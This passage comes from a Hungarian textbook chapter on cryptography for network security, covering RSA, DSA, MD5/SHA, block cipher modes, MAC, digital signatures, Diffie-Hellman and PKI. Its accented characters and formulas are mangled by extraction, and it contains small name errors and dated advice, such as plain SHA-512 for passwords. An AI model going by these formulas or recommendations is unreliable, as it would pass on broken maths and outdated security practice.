B gy fejti meg: Dk D k y = Dk D k E k E k x=D k E k x = x


P A S B P A S B P B S A P A S A

3.4.1.

RSA

Az RSA az egyik leggyakrabban hasznlt nyilvnos kulcs algoritmus. Az RSA rvidts az algoritmus ksztinek kezdbetit takarja (Ron Rivest, Adi Samir, Leonard Adleman). Az algoritmus szmelmleti eredmnyeken alapul, a BME-s jegyzet alapjn mkdse a kvetkez: Kulcs ltrehozsa A felhasznlk az albbi mdon hozzk ltre a kulcsprjukat: 1. Vletlenszeren vlasztanak kt nagy (jelenleg legalbb 500 bit mret) prmszmot: p s q, termszetesen pq.

Kriptogrfiai bevezet

45

2. Kiszmtjk: N=pq s (N)=(p-1)(q-1) rtkeket. Vlasztanak egy e szmot ami (N)-hez relatv prm. 3. Kiszmtjk az e inverzt modulo (N), azaz olyan d szmot, melyre: 1<d<(N) s ed = 1 (mod (N))

A nyilvnos kulcsot az (N, e) szmpr alkotja, ezt a felhasznlk elhelyezik egy mindenki szmra elrhet megbzhat trolban. A titkos kulcs az E(.) s D(.) transzformcik szempontjbl az (N, d) szmpr, amit megfelel vdelemmel trolnak. Esetnkben az N rsze a nyilvnos kulcsnak is, gy valjban nem titok, viszont szigoran titkos a (p, q) prmszm pros, amit meg kell semmisteni! A nylt szveg elksztse Mivel az algoritmus szmokkal val mveletvgzsen alapul (hatvnyozs, amit hatkonysgi szempontbl ngyzetre emelsekkel s szorzsokkal valstanak meg), az zenetet ennek megfelelen szmok sorozatv kell alaktani. Tegyk fel, hogy az A felhasznl szeretne a B felhasznlnak zenetet kldeni. Ekkor a kulcstrbl lekri B nyilvnos kulcst (NB, eB). Mivel a tovbbiakban (mod NB) kell szmolnia, az zenetet NB-nl kisebb szmok sorozatv kell lekpeznie (termszetesen klcsnsen egyrtelm mdon, hogy a dekdols utn a szmsorozatbl az eredeti zenet helyrellthat legyen). A titkostst s a dekdolst a szmsorozat elemein (x1, x2, ) egyenknt fogjk elvgezni.

46 Titkosts

Hlzatok biztonsga

Az elksztett nylt szveg egy xi szmhoz a rejtjelezs: y i =E k xi =x i


p B

e B

mod N B

Dekdols
x i =D k y i = y i
S B

d B

mod N B

Azt, hogy ennek sorn valban az eredeti zenetet kapjuk vissza, szmelmleti ismeretekkel a kis Fermat ttel segtsgvel nhny lpsben be lehet bizonytani. Az rdekldk a hivatkozott knyv 81. oldaln elolvashatjk. Az RSA biztonsga szempontjbl kritikus, hogy ismereteink szerint az egsz szmok prmtnyezs felbontsra nem ltezik hatkony algoritmus. Ha ilyen ltezne, a tmad kpes lenne N-hez kiszmtani p-t s q-t s gy kpes lenne az e inverznek, d-nek meghatrozsra is. Ezek ismerete nlkl azonban a tmad nem tud hatkonyan e-dik gykt vonni y-bl, mg a titkos kulccsal br megfejtsre jogosult a d ismeretben az e-dik gyk kiszmtst d-edik hatvnyra emelssel hatkonyan el tudja vgezni. Hatkony algoritmusnak azt tekintjk, aminek a lpsszma az algoritmus bemenett jelent szmok binris szmbrzolsi hossznak polinomilis fggvnye. Pldul az sszeads elvgezhet a hosszal arnyos, a szorzs pedig a hossz ngyzetvel arnyos szm lpsben. A hatvnyozs mg megszeldthet gy, hogy megfelelen szorzsokkal s ngyzetre emelsekkel (ami szintn szorzs) helyettestjk. Az e-edik gyk

Kriptogrfiai bevezet

47

kiszmtsra azonban ilyen mdszert nem tudunk, a trivilis megolds (az sszes lehetsges rtk kiprblsa) pedig exponencilis lpsszm lenne. A technolgiai fejlds az RSA szmra igen kedvez, mert a polinomilis s exponencilis lpsszm kztti nagysgrendi klnbsg nvekedse miatt relatve egyre elrhetbb vlik olyan kulcsok alkalmazsa, amelyek esetn a nyers ern (brute force) alapul trs gyakorlati kptelensg, de a titkosts s a dekdols sebessge olcs eszkzkn is kielgt. Az RSA-t szabadalom vdte, de 2000. szeptember 20-n lejrt! 3.4.2. DSA

Egy msik nyilvnos kulcs kriptogrfiai megolds a Digital Signature Standardben (DSS) tallhat Digital Signature Algorithm (DSA), melynek clja nem a titkosts, hanem a digitlis alrs. Kriptogrfiai algoritmusokban gyakran az RSA alternatvjaknt hasznljk, pldul az SSH-ban is. Az ElGamal algoritmuson alapul, amelyet megalkotja, Tahel Elgamal nem szabadalmaztatott, azonban a 2008-ban lejr Diffie-Hellman szabadalom tulajdonosai gy rzik, hogy az szabadalmuk lefedte.

3.5.

Kriptogrfiai hash fggvnyek

sszetettebb kriptogrfiai konstrukcikban a rejtjelezkn kvl fontos ptelemnek szmtanak mg az n. kriptogrfiai hash fggvnyek. Tekintsk a kvetkez fggvnyt:

48

Hlzatok biztonsga

H : {0,1}* {0,1}n hash fggvny egy tetszleges hosszsg binris sorozatot egy n hosszsg binris sorozatba kpez le. Tipikus hasznlata sorn egy M zenethez egy H(M) hash rtket rendelnk. Ezt az M lenyomatnak is szoktuk nevezni. Az alkalmazsokban a hash rtket angolul szoktk fingerprintnek (=ujjlenyomat) is nevezni. F elvrsunk vele szemben az, hogy egyirny legyen, azaz az M zenet ismeretben a H(M) lenyomat hatkonyan szmolhat legyen, de a lenyomathoz az zenetet (illetve egy olyan zenetet, amihez a lenyomat illik) nehz legyen megtallni. Angolul: One Way Hash Function, rvidtve OWHF. Az albbiakban bemutatunk a gyakorlatban tipikusan alkalmazott kt megoldst. 3.5.1. MD5

http://www.ietf.org/rfc/rfc1321.txt A Message Digest 5-s verzi a 4-es javtsa. Tetszleges hosszsg inputhoz 128 bites hash rtket rendel. A 128 bit ma mr tl kevs ahhoz, hogy az MD5 ellenlljon egy szletsnap paradoxonon alapul tmadsnak (birthday attack). Hasznljunk helyette ersebb kdolst, legalbb SHA256-ot. Egy rdekes cikk az MD5 hash tkzs demonstrlsra: http://www.cits.rub.de/MD5Collisions/ (Megjegyzs: a link 2008. 02. 25n este nem mkdtt, a google msolata 2008. 02. 19-i volt.) A cikk bemutat kt rtelmes szveget tartalmaz postscript fjlt, amelyeknek az MD5-tel szmtott hash rtke azonos. Az irodalomjegyzkben tovbbi

Kriptogrfiai bevezet

49

hasznos hivatkozsokat tallunk a tmadssal kapcsolatban (st, az SHA-1 elleni tmadsrl is). rdekessgknt: http://www.prog.hu/tudastar/32295-12/MD5+vagy+SHA1.html Az MD5 neve alapjn nha ltalnossgban a hash rtket is nevezik zenet kivonatnak (message digest). 3.5.2. SHA

Az MD5-hz hasonl tervezsi alapelveket hasznl az USA-ban szabvnyknt is elfogadott Secure Hash Algorithm. Ez egy szabvny csald. Jelenleg mg a 160 bites lenyomatot kszt SHA-1 a legelterjedtebb kzlk, de ltezik SHA-256, SHA-384, SHA-512 is (a nevk mutatja, hogy hny bites a lenyomat). Linkek:

http://www.ietf.org/rfc/rfc3174.txt SHA1-rl szl RFC http://www.itl.nist.gov/fipspubs/fip180-1.htm az SHA-1 USA szabvny

http://csrc.nist.gov/publications/fips/fips180-2/fips180-2.pdf sszes SHA szabvny

az

http://csrc.nist.gov/publications/fips/ USA informci-feldolgozsi szabvnyok s visszavont szabvnyok (FIPS: Federal Information Processing Standars).

50

Hlzatok biztonsga

Az SHA-512 mr valsznleg a legparanoisabb rendszergazdknak is megfelel a jelszavak egyirny kdolsra. ;-) 3.5.3. Szletsnap paradoxon

A szletsnap paradoxon arrl szl, hogyha egy teremben van 23 ember, akkor valamivel tbb, mint 50% valsznsggel akad kztk kt olyan, akiknek azonos napon van a szletsnapja. 60 ember esetn ez a valsznsg mr tbb, mint 99%. (Termszetesen egy konkrt szemlyt kivlasztva ennl jval kisebb valsznsggel van mg egy msik jelenlevnek ugyanakkor a szletsnapja, mint neki!) ltalnosan: egy n elem halmazbl vletlenszeren vlasztva az n ngyzetgyknek nagysgrendjbe es (annl valamivel nagyobb) szm elemet (gy, hogy egy elemet tbbszr is kivlaszthatunk), legalbb 50% valsznsggel akad kzttk kett, amelyik megegyezik. Hash fggvny ellen a szletsnap paradoxonon alapul tmads alaptlete a kvetkez. Amennyiben egy hash fggvny n bites lenyomatot ad, sajnos mr nagysgrendileg 2n/2 db zenet esetn is 50% valsznsggel lesz kett, amelyiknek a lenyomata azonos. Ha a tmad kpes kt ilyen (rtelmes) zenetet kszteni, akkor ezzel gy tud visszalni, hogy az egyiket elkldni a lenyomattal, mint alrssal egytt a partnernek, ksbb pedig az lltja, hogy korbban a msikat kldte, s ezt a lenyomat egyezsvel bizonytja.

Kriptogrfiai bevezet

51

3.6.

Alapvet kriptogrfiai protokollok

Ebben az alfejezetben az eddig bemutatott alapelemek (titkos s nyilvnos kulcs kdolk, valamint a hash fggvny) felhasznlsval olyan eljrsokat ptnk fel, amelyeket majd a biztonsgos kommunikci megvalstshoz fogunk hasznlni. 3.6.1. Blokkrejtjelezsi mdok

Egy blokkrejtjelez n bit hossz nylt szveget kdol n bit hossz titkostott szvegg. A ma hasznlt kdolk esetn tipikusan n=64 vagy 128 (esetleg 192 vagy 256). A gyakorlatban azonban sokszor ennl hosszabb illetve rvidebb (akr 1 byte) adat titkostsra van szksgnk. A problmra tbb megolds is van. Kzs vonsuk, hogy ha az zenet hossza n-nl kisebb, vagy n-nl nagyobb, de nem egsz szm tbbszrse, akkor az zenetet a megfelel szm bittel kiegsztjk (kitlts) n egsz szm tbbszrsre. A kitlt biteket persze a dekdolskor meg kell tudnunk klnbztetni a valdi adatbitektl. Most nagyon rviden megnzzk, hogy milyen megoldsok vannak arra a problmra, hogy az zenet hossza n-nl nagyobb (illetve arra is, ha kisebb). ECB Hossz zenetek rejtjelezsre trivilisan add megolds, hogy bontsuk n bites blokkokra, s azokat kln-kln rejtjelezzk. Ezt az eljrst nevezik ECB-nek (Electronic Codebook).

52

Hlzatok biztonsga

Az eljrs tbb tmadsi lehetsget is rejt. Adott kulcs mellett adott nylt szveg blokkhoz egyrtelmen tartozik a titkostott prja, gy a tmad a rejtett nylt szveg prok segtsgvel sztrat kpes pteni. Ezen kvl az egyes blokkok sorrendjt felcserlheti, blokkokat trlhet, korbbiakat jra beszrhat, stb. Ezek ellen az algoritmus nem vd. CBC A CBC (Cipher Block Chaining) mdban a kld a rejtjelezett blokkot megrzi, s rejtjelezs eltt bitenknti kizr vagy mvelettel hozzadja a kvetkez rejtjelezend blokkhoz. (Majd rejtjelezi s ismt megrzi.) Annak rdekben, hogy a rejtjelezs mindig ugyan azzal az algoritmussal trtnjen, az els blokkhoz is hozzad egy n. kezd vektort (IV Inititalization Vector). A dekdolsnl az egyes blokkok dekdolsa utn mindig ki kell vonni az elz blokk kdolt vltozatt (legelszr pedig az IV-t), ami ugyancsak a bitenknti kizr vagy mvelettel trtnik. A mdszer elnye, hogy egy adott rejtjelezett blokk nem csak az adott nylt blokktl fgg, hanem a megelztl (s azon keresztl az azt megelzktl) is. gy a tmad nem tud sztrat pteni, st, ha az IV klnbz (ami kvetelmny), akkor kt teljesen azonos nylt zenet kdolt vltozata is eltr lesz. A mdszer a rejtjelezett blokkok felcserlsnek, trlsnek s beszrsnak detektlsra is lehetsget nyjt abban az esetben, ha a nylt szveg redundns (pl. rtelmes szveg helyett zagyvasgot kapunk).

Kriptogrfiai bevezet CFB

53

Vannak olyan alkalmazsok, ahol a titkostnk blokkmretnl rvidebb adategysgeket kell egyszerre tvinnnk. Gondoljunk pldul a titkostst nem hasznl telnet-re vagy az azt levlt ssh-ra, ahol a billenty letseket azonnal t kell vinnnk; nem tehetjk meg azt, hogy sszevrjunk a blokkmretnek megfelel darabszmot. A blokkmretre val kiegszts adott esetben akr megengedhet lenne (hiszen ha pl. Ethernet hlzatot hasznlunk akkor a minimlis kerethossz miatt gyis kitltst alkalmazunk majd az adatkapcsolati rtegben), de ltalnos esetben a svszlessg pazarls miatt nem ajnlatos.

shift regiszter (n) (n) EK (n) s bit kivlasztsa (s) (s) (s) + (s) (s)

shift regiszter (n) (n) EK (n) s bit kivlasztsa (s) (s) (s) +

pi

ci

ci

pi

12. bra: kdols s dekdols CFB mdban

A problmra az egyik megolds a CFB (Chipher Feed Back), ahol a titkostott jelfolyamot egy shift regiszteren keresztl visszavezetjk a titkost bemenetre. (12. bra) A titkost minden adategysg esetn a shift regiszterbl kapott n biten dolgozik, de a kimenetbl valamilyen mdszerrel kivlasztunk s bitet (a titkostand adat bitszma) s bitenknti

54

Hlzatok biztonsga

kizr vagy mveletet vgznk ezen bitek s a nylt szveg bitjei kztt. (A mdszer neve is azt fejezi ki, hogy a titkostott jelfolyamot vezetjk vissza a kdol bemenetre.) Termszetesen itt is szksgnk van valamilyen kezdeti vltozra (IV) amivel a shift regisztert feltltjk. Ezt viszont nyltan tvihetjk, a tmad semmit sem r vele. A dekdols szintn a 12. bra szerint trtnik. OFB A CFB md hibaterjedsi tulajdonsgai miatt nem mindig alkalmazhat, ekkor segt az OFB (Output Feed Back) md, ahol a rejtjelez tartalma egyltaln nem is fgg a titkostand jelfolyamtl, tulajdonkppen csak arra hasznljuk, hogy mindkt oldalon ugyan azt a pszeudorandom jelfolyamot lltsuk el, amit a kdol oldalon bitenknti kizr vagy mvelettel hozzadunk a nylt szveghez, a dekdolsnl egy jabb bitenknti kizr vagy mvelettel val hozzadssal pedig lefejtnk rla.

Kriptogrfiai bevezet

55

shift regiszter (n) (n) EK (n) s bit kivlasztsa (s) pi (s) + (s) (s)

ci

13. bra: kdols OFB mdban

CTR Az OFB mdot tovbb egyszersthetjk gy, hogy a visszacsatolst s a shift regisztert egy szmllval helyettestjk: 14. bra. szmll (n) (n) EK (n) s bit kivlasztsa pi (s) (s) + (s) ci

14. bra: Kdols CTR mdban

56 3.6.2. zenethitelests

Hlzatok biztonsga

Az zenet hitelests clja, hogy az zenet cmzettje biztos lehessen abban, hogy:

az zenet valban attl szrmazik, akinek tulajdontja (s nem valaki ms kldte a nevben)

az zenetet pontosan az, amit a feladja kldtt (tkzben nem vltozott meg)

Vegyk szre, hogy CSAK ez a kt clunk van! (Szemben a digitlis alrssal!) Az zenethitelests megvalstsra az zenet hitelest kdokat (MAC: Message Authentication Code) szoktk hasznlni. Ez egy kriptogrfiai ellenrz sszeg, amit az zenet kldje szmol ki s csatol az zenethez. A vev a rejtjelezett zenetet dekdolja s szintn kiszmtja a MAC rtket, majd sszeveti az ltala szmtott rtket azzal, amit kapott. A MAC rtke nem csak az zenettl fgg, hanem egy titkos kulcstl is, amelyet mind az zenet kldje mind a cmzettje ismer, de senki ms, gy a tmad sem, aki gy nem kpes hamistani. A hash fggvnyhez hasonlan itt is egy tetszleges hossz zenethez rendelnk egy adott hosszsg ellenrz sszeget. A kvetelmnyek azonban eltrek, itt pldul nem okoz gondot, ha a kulcs ismeretben tbb olyan zenetet is knnyen lehet tallni, amihez ugyan az a MAC tartozik, ugyanis a kt fl egyttmkdik, az eljrsnak nem clja pl. a letagadhatatlansg biztostsa. Csak az a

Kriptogrfiai bevezet

57

lnyeg, hogy a kzs titkos kulcsot nem ismer tmad ne legyen kpes az zenetet gy mdostani (vagy a forrs nevben ltrehozni), hogy a cmzett ne vegye szre a csalst. Megvalstsra tbb lehetsg is knlkozik, a kt legismertebb a CBCMAC s a HMAC. Ms elvi lehetsgeket is bemutat az albbi webhely: http://www.rsasecurity.com/rsalabs/node.asp?id=2177 CBC-MAC A mdszer alaptlete, hogy egy blokk rejtjelezt CBC mdban hasznlunk, s az utols blokkunk lesz a MAC. A mdszer alkalmazhatsgrl s annak korltairl (tmadsi lehetsgek) bvebben olvashatunk a BME-s tanknyvben. HMAC A mdszer valamely hash fggvny hasznlatra pl. A MAC rtk az zeneten kvl termszetesen fgg a kzs titkos kulcstl is (keyed hashing). A hasznlt hash fggvnytl fggen beszlhetnk HMACMD5-rl, HMAC-SHA1-rl, stb. A megvalstst s az analzist az rdekldk megtalljk a BME-s tanknyvben. Tovbbi olvasmnyok:

http://www.ietf.org/rfc/rfc2104.txt RFC 2104 http://en.wikipedia.org/wiki/HMAC Wikipdia lers tovbbi hasznos linkekkel

58

Hlzatok biztonsga http://csrc.nist.gov/publications/fips/fips198/fips-198a.pdf a FIPS HMAC szabvnya

3.6.3.

Digitlis alrs

A digitlis alrs clja hasonlan a kzzel trtn alrshoz az, hogy mindenki szmra bizonytsa valamely zenet hitelessgt (authencity forrs hiteles volta, integrity nem mdostottk). Nem vletlenl hangslyoztuk az zenethitelests cljait: a MAC nem nyjt ilyen garancit, hiszen ott a kzs titkos kulcsot mindkt fl ismeri, gy a MAC ellltsa nem okozhat gondot a cmzettnek. A cmzett teht 3. fl eltt nem tudja bizonytani, hogy az zenet valban a kldtl szrmazik, azaz a MAC nem biztost letagadhatatlansgot (non-repudiation). A feladat kivlan megoldhat a nyilvnos kulcs kriptogrfia

segtsgvel: amit valaki a titkos kulcsval kdolt el (amit csak ismerhet) azt brki visszafejtheti a hozz tartoz nyilvnos kulccsal. Mivel az zenet tetszleges hosszsg lehet, ezrt termszetesen a hozz tartoz hash rtket fogjuk ilyen mdon elkdolni. Az alrs menete teht a kvetkez: Az A fl elszr elkszti az x zenethez tartoz H(x) kivonatot (pl. SHA-1 algoritmussal), majd elkdolja a sajt titkos kulcsval. Az A ltal az x zenethez generlt digitlis alrs (digital signature) teht: ds A x=E k H x . A teljes
S A

alrt zenet teht x+dsA(x), ahol a + jel a konkatencit (egyms utn rs) jelenti.

Kriptogrfiai bevezet

59

Az ellenrzs sorn kiszmtjuk a kapott x' zenethez tartoz H(x') kivonatot, valamint az A mindenki ltal megismerhet nyilvnos kulcsval egy dekdolst vgznk a kapott dsA(x)' alrson: Dk ds A x ' . Ha a
P A

kt rtk megegyezik, akkor hitelesknt elfogadjuk az alrt zenetet, egybknt elvetjk. Az alrs elksztst s ellenrzst illusztrlja a 15. bra.

60

Hlzatok biztonsga

15. bra: digitlis alrs ksztse s ellenrzse

vektorgrafikusan magyarul megrajzolni! Forrs: http://csrc.nist.gov/publications/fips/fips186-2/fips186-2-change1.pdf (2. oldal laptet a pdf-ben)

A gyakorlatban 3 hasznlhat algoritmus van: DSA, RSA, ECDSA. Az USA-ban ezeket tmogatjk: http://csrc.nist.gov/CryptoToolkit/tkdigsigs.html

Kriptogrfiai bevezet

61

A magyar hatlyos jogszably az elektronikus alrsrl szl 2001. vi XXXV. tv. A trvny tervezetnek szvege megtallhat: http://www.mkogy.hu/irom36/3847/3847.htm. Bvebben a nyilvnos kulcs infrastruktrnl foglalkozunk vele. HIVATKOZS 3.6.4. Kulcscsere protokollok

Ezt a tmakrt csak rszben s rintlegesen trgyaljuk. A kulcscsere protokollokhoz tartoznak a kulcsszllt protokollok is, amelyek clja az, hogy valamely kulcsot az egyik rsztvevtl a msikhoz biztonsgosan eljuttassunk. Ezzel egyltaln nem foglalkozunk. A bennnket rdekl problma a kvetkez: kt fl kzs titkos kulcsot szeretne ltrehozni. (Erre pl. szimmetrikus kulcs rejtjelezshez vagy zenethitelest kdok hasznlathoz van szksgk.) A problma megoldsa egy n. kulcsmegegyezs protokoll, amelynek sorn a felek olyan kzs titkos kulcsot hoznak ltre, amelyet mindketten ismernek, de a hallgatz tmad nem kpes kitallni. Mieltt a problma trgyalst elkezdhetnnk, bvtennk kell az algebrai struktrkra vonatkoz ismereteinket. Az n (mod m) jells az n szm m-es maradkt jelli. Pldul az 5 (mod 3) az 2.

62

Hlzatok biztonsga

Tetszleges m2 modulusra a maradkosztlyokkal (0, 1, 2, m-1) gy tudunk mveletet vgezni, hogy azok egy reprezentnsval (tipikusan a 0, 1, 2, m-1 szmokkal) vgezzk a mveleteket. Pldul m=5 esetn a 2es maradkosztlyba tartoz 7 s a 3-as maradkosztlyba tartoz 8 sszegt kiszmthatjuk gy is, hogy a 7 s a 8 helyett a maradkosztlyokat reprezentl 2-t s 3-at adjuk ssze. 2+3=0 (mod 5) ugyangy, mint 7+8=0 (mod 5) Az ilyen mveletvgzst modulo m aritmetiknak nevezzk. Ha egy p prmszm maradkosztlyai kzl a 0-t trljk (teht marad az 1, 2, p-1) akkor ezek a modulo p szorzs mveletvel csoportot alkotnak. (A csoport jellemzit mr a 3-DES-nl megadtuk.) nevezzk. A p ltal definilt multiplikatv csoport egy genertor elemnek nevezzk azt a g (2gp-1) elemet, amelynek hatvnyaiknt (g0=1, g1=g, g2, gp-2) a csoport sszes eleme elllthat. (Nem minden elem genertor elem, de mindig van genertor elem.) Ezeknek a fogalmaknak a felhasznlsval mr le tudjuk rni a DiffieHellman protokollt. A protokollnak kt rsztvevje van, A s B. Mindkt fl szmra ismert egy nagy p prmszm s az ltala meghatrozott multiplikatv csoportnak, Z*p-nek egy g genertor eleme. Az algoritmus lpsei a kvetkezk: Ezt a csoportot Z*p-vel jelljk s a p ltal definilt multiplikatv csoportnak

Kriptogrfiai bevezet

63

(1) A generl egy x vletlen szmot (1xp-2) majd kiszmolja gx (mod p) rtkt s az eredmnyt elkldi B-nek. (2) B is generl egy y vletlen szmot (1yp-2) majd kiszmolja gy (mod p) rtkt s az eredmnyt elkldi A-nak. (3) A kiszmolja (gy)x (mod p) rtkt. (Ehhez rendelkezsre ll a B-tl kapott gy (mod p) s a sajt x vletlen szma.) (4) B kiszmolja (gx)y (mod p) rtkt. (Ehhez rendelkezsre ll az Atl kapott gx (mod p) s a sajt y vletlen szma.)

A hatvnyozs kommutativitsa miatt mindkt flnek a rendelkezsre ll ugyan az a gxy (mod p) rtk, ez lehet a kapcsolatkulcs, vagy ebbl nyerhetik azt tovbbi mveletekkel. Kriptogrfival foglalkoz szakemberek ersen hisznek abban, hogy a tmad a rendelkezsre ll p, g, gx (mod p), s gy (mod p) szmokbl nem kpes hatkonyan (azaz polinom idben) kiszmtani a gxy (mod p) rtket. Ilyen mdon a protokoll passzv tmadval szemben vdett. Aktv tmadssal szemben azonban nem vd a protokoll. Ha a C tmad az A s a B kz keldve mindkt fllel a msikat megszemlyestve futtatja a protokollt, akkor azok mindegyike C-vel hoz ltre kzs titkos kulcsot. A Diffie-Hellman protokollnak ezt a sebezhetsgt javtja ki a Station-toStation protokoll. Itt a kt rsztvevnek a protokoll futtatsa eltt rendelkeznie kell a nyilvnos kulcs kriptogrfival trtn

64

Hlzatok biztonsga

kommunikcihoz szksges kulcsokkal, azaz a sajt kulcsaikkal s egyms nyilvnos kulcsval. Ezek megszerzse a protokollon kvl esik, a protokoll alapfeltevse, hogy ezek rendelkezsre llnak. Station-to-Station protokoll hasonl elven mkdik, mint a Diffie-Hellman protokoll, de a felek az egymsnak kldtt rtkeket alrjk a sajt titkos kulcsukkal. A protokoll pontos mkdst az rdekldk megtallhatjk a BME-s tanknyvben. 3.6.5. Partnerhitelests

A partnerhitelestses protokollok clja, hogy a kommunikciban rsztvev felek bebizonythassk egymsnak, hogy valban azok, akinek lltjk magukat. Ezek a mdszerek 3 csoportba sorolhatk: 1. biometriai mdszerek: Elssorban szemlyek identitsnak

(szemlyazonossgnak) bizonytsra hasznlatosak. A szemlyre jellemz (megklnbztetsi alapknt hasznlhat), jl s egyszeren mrhet biolgiai jellemzt hasznlnak. Pldul hang, ujjlenyomat, szem riszmintzata. Persze felmerl a krds, hogy mi van, ha valaki bereked, elvgja az ujjt, bedagad a szeme... 2. hardver alap mdszerek: Valamilyen trgy bemutatsa a bizonytk. Pldul RF ramkr, mgnescskos krtya (pl. bankkrtya), smart krtya, stb. Mivel a trgyat el is lophatjk, ltalban nem nllan hasznljk (pl. meg kell mg adni egy PIN kdot is). 3. algoritmusos mdszerek: Valamilyen szmts elvgzsnek a kpessge a bizonytk, amihez valamilyen titok ismerete szksges.

Kriptogrfiai bevezet

65

Mi csak a harmadikkal foglalkozunk. Ennek legegyszerbb esete a jelszavak hasznlata. Tipikus alkalmazsa, hogy egy felhasznl kvn hozzfrni egy rendszerhez (vagy annak valamilyen erforrshoz). A felhasznlnak felttel nlkl meg kell bznia a rendszerben, hiszen a sajt szemlyazonossgnak bizonytsra a rendszer fel fel kell fednie az ltala ismert titkot (a jelszt). A jelszavas azonosts problmival ksbb rszletesen foglalkozunk. HIVATKOZS Az algoritmusos partnerhitelestsi mdszerek tovbbi lehetsget

nyjtanak, ha a felhasznl szemlyn tl valamilyen szmtst vgz eszkz is rendelkezsre ll, pl. smartcard, vagy a felhasznl ltal birtokolt szmtgp. Ilyenkor a partnerhitelests kriptogrfiai protokollokra is plhet. Ilyenkor az A felhasznl gy hitelesti magt, hogy a titok felfedse nlkl bizonytja B fel, hogy annak birtokban van. Hogyan lehetsges ez? Valamilyen kriptogrfiai mveletet vgez, amit a kulcs nlkl nem tudna elvgezni s a mvelet eredmnyt kldi el B-nek. Annak rdekben, hogy a mvelet eredmnyt megfigyel tmad ne legyen kpes visszajtszsra, n. kihvs-vlasz (challenge-response) mdszert alkalmaznak: a protokoll sorn B egy vletlen elemet kld A-nak (kihvs), majd A ezen vgzi el a kriptogrfiai mveletet s elkldi az eredmnyt B-nek (vlasz). Ekkor a tmad eslytelen, hiszen ha prblkozik B fel A-t megszemlyesteni, gyis msik kihvst fog kapni, amire nem tudja a helyes vlaszt megadni. A vgzett kriptogrfiai mvelet lehet valamilyen szimmetrikus kulcs mvelet egy kzs titkos kulccsal,

66

Hlzatok biztonsga

vagy nyilvnos kulcs infrastruktrt hasznlva a titkos kulccsal vgzett kdols, dekdols vagy alrs.

3.7.

Nyilvnos kulcs infrastruktra

A nyilvnos kulcs titkostsnl merlt fel az a problma, hogy a nyilvnos kulcstrbl szrmaz informci hitelessgnek ellenrzshez szksgnk van a kulcstr nyilvnos kulcsra. Radsul szksgszeren tbb nyilvnos kulcstrnak kell lennie, s azok is szeretnnek egymssal kommuniklni, akik a kulcsukat nem azonos kulcstrban helyeztk el. A problma megoldst a nyilvnos kulcs infrastruktra (Public Key Infrastructure PKI) adja. A szksges fogalmakkal fokozatosan ismerkednk meg. A nyilvnos kulcs hitelessgnek igazolsra tanstvnyokat (certificate) hasznlunk, amelyek az adott nyilvnos kulcson kvl termszetesen tartalmazzk annak a szemlynek vagy szervezetnek a nevt, akihez a nyilvnos kulcs tartozik, s az tanstvnyt killt hitelests szolgltat (Certificate Authority CA) alrst. Els megkzeltsknt a hitelests szolgltatkat fa struktrba szervezetten kpzelhetjk el, amelynek tetejn a gykr hitelests szolgltat (root CA) tallhat, az els szintjn azok a szolgltatk, amelyeknek a tanstvnyt a root CA lltotta ki, a msodik szintjn azok a hitelests szolgltatk, amelyeknek a tanstvnyt a fa els szintjn lev valamelyik szolgltat lltotta ki, stb. A fa levelei azok a felhasznlk (end user) akik mr nem tanstvnyokat lltanak ki, hanem

Kriptogrfiai bevezet

67

kommuniklni szeretnnek. Egy felhasznl tanstvnya ellenrizhet, ha a fa gykrtl (root CA) az adott levlig halad ton vgig haladva minden lpsben ellenrizzk a tanstvnyokat; ezt gy hvjk, hogy tanstvny lnc. A gyakorlatban termszetesen tbb root CA is van, s ezek egymst keresztbe is tanstjk. gy ha van egy megbzhat kiindulsi pontunk, akkor a tanstvny lnc bejrsval meggyzdhetnk valamely krdses tanstvny hitelessgrl. (Kiindulsi pontknt a web bngszk j nhny tanstvnyt szoktak tartalmazni. Ezek hasznlathoz persze meg kell bznunk a program szlltjban, vagy megbzhat helyrl meg kell vsrolnunk valamilyen adathordozn nhny root CA tanstvnyt.) A valsg persze ennl jval bonyolultabb. Egy tanstvny nem rk let, hanem van rvnyessgi ideje. (Az rvnyessg kezdetnek s vgnek idpontjn kvl is mg tbb adatot tartalmaz, amivel most nem foglalkozunk.) Radsul egy tanstvny mg az rvnyessgi idejnek lejrta eltt is rvnytelenn vlhat, pldul a titkos kulcsnak kompromittldsa miatt, de a tulajdonosa is krheti az rvnytelentst (s mg ms okai is lehetnek). Erre a clra szolgl a tanstvny visszavonsa, amikor is a kibocst CA elhelyezi a tanstvnyt a tanstvny visszavonsi listn (Certificate Revocation List CRL) Egy tanstvny ellenrzsekor teht nem elg arrl meggyzdni, hogy van egy olyan tanstvny lnc, ami alapjn az adott tanstvny rvnyesnek tnik, hanem meg kell vizsglni a benne szerepl rvnyessgi adatokat, valamint a vonatkoz CRL-t is! (Ez termszetesen a felhasznlt tanstvnylnc sszes elemre vonatkozik!)

68

Hlzatok biztonsga

A nyilvnos kulcs infrastruktrval kapcsolatos fogalomgyjtemny tallhat az albbi oldalon: http://tldp.fsf.hu/HOWTO/Apache-WebDAVLDAP-HOWTO-hu/glossary.html A mszaki rszen tl a tmnak igen jelents a jogi oldala is. A nyilvnos kulcs infrastruktra megbzhatsgnak trvnyi garancii vannak. A hatlyos magyar jogszably a korbban is emltett 2001. vi XXXV. trvny. A trvny tervezetnek szvege megtallhat: http://www.mkogy.hu/irom36/3847/3847.htm A trvny szablyozza a hitelests szolgltatk tevkenysgt, megadja az elektronikus alrs klnbz fokozatainak rtelmezst s azok hasznlatnak jogkvetkezmnyeit. rdekessgknt megemltjk, hogy a trvny az elektronikus alrsnak 3 fajtjt klnbzteti meg, ezek egyre nvekv erejek. Defincijukat s jogkvetkezmnyket csupn rdekessgknt, s kzelten adjuk meg, amennyiben valakinek lesben szksge van r, nzze meg valamely hatlyos jogszablygyjtemnyben!

"Egyszer" elektronikus alrs Ide tartozik minden olyan eset, amikor valamely elektronikus szvegen (adaton) szerepel a szerzjnek, killtjnak neve vagy valamilyen azonostja. (Az az eset is ide tartozik, amikor ugyan elkvettek valamit a hitelessg rdekben, de az alkalmazott technolgia nem teszi lehetv, hogy mind az alr szemlye, mind a dokumentum alrs utni

Kriptogrfiai bevezet

69

vltozatlansga bizonythat legyen.) Az ilyen alrsnak nincs bizonyt ereje.

Fokozott biztonsg elektronikus alrs Hitelests szolgltat ltal tanstott alrsrl van sz, de a tansts szintje nem felel meg a kvetkez kategrinak. - A bizonyt ereje az egyszer sajt kez alrsnak felel meg.

